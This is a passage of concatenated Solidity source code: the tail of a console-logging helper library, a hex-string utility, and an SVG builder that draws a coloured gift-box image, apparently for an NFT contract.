_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; library HexStrings { bytes16 internal constant ALPHABET = '0123456789abcdef'; function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = '0'; buffer[1] = 'x'; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = ALPHABET[value & 0xf]; value >>= 4; } return string(buffer); } } //SPDX-License-Identifier: Unlicensed pragma solidity >=0.8.0 <0.9.0; struct Colors { string boxTop; string boxFront; string ribbonFront; string ribbonTop; string bow; } library SVGBuilder { function makeBox(bool hasFloppies) public pure returns (string memory) { Colors memory colors; colors.boxTop = "#E32D4E"; colors.boxFront = "#C11E3A"; colors.ribbonFront = "#982438"; colors.ribbonTop = "#00000033"; colors.bow = "#00aa00"; if (hasFloppies) { colors.boxTop = "#15EDF5"; colors.boxFront = "#10afb5"; colors.ribbonFront = "#5c145a"; colors.ribbonTop = "#8A1D88"; colors.bow = "#361995"; } string memory css = string( abi.encodePacked( ".lightBox {fill: ", colors.boxTop, ";} .darkBox {fill: ", colors.boxFront, ";} .bow {fill: ", colors.bow, ";} .frontRibbon {fill: ", colors.ribbonFront, "} .topRibbonAndShadow {fill: ", colors.ribbonTop, "}" ) ); string memory preamble = string( abi.encodePacked( "<svg viewBox='0 0 983.27 1157.82' xmlns='http://www.w3.org/2000/svg'><style type='text/css'>", css, "</style><defs>" ) ); string memory postamble = "</defs><path id='top' class='lightBox' d='M878.85,489.58c-12.28-33.27-24.8-67.64-37.97-100.66c-0.13,0.02-0.27,0.03-0.4,0.05l-24.49-58.17 c0.08,0,0.16,0,0.24,0c-12.48-27.6-23.03-58.43-41.66-82.56c-13.28-11.3-31.7-5.15-47.51-5.8c-14.49,0.56-28.98,1.36-43.45,2.32 c4.84,4.23,8.07,10.08,9.38,16.33l-16.53-0.3c-0.81-2.17-2.38-4.08-4.9-5.32c-15.8-5.93-33.18-0.73-48.84,3.31 c-1.07,0.32-2.13,0.64-3.19,0.97l-46.44-0.85c5.87-2.41,11.71-5.08,17.6-7.31c-6.78,0.23-13.5,1.22-20.28,1.42 c-1.31,1.99-2.96,3.82-4.38,5.76l-22.25-0.41c0.82-1.02,1.63-2.06,2.43-3.1c-10.32,0.74-20.63,1.68-30.94,2.58l-124.43,11.9 c-6.66,0.33-13.33,1.11-19.94,2c1.01,0.3,2.02,0.56,3.05,0.82l-105.99,17.71c1.57-2.64,3.6-5.34,6.13-8.09 c-26.18,2.96-52.32,6.27-78.41,9.92c-11.07,1.6-22.14,3.24-33.13,5.24c-10.28,2.36-25.25,1.64-26.72,15.21 c8.73,33.38,17.16,67.35,27.62,100.36h0l0,0l22.7,75.18c0.03,0.66,0.06,1.33,0.08,1.99c6.54,18.19,11.73,37.2,18.21,55.51 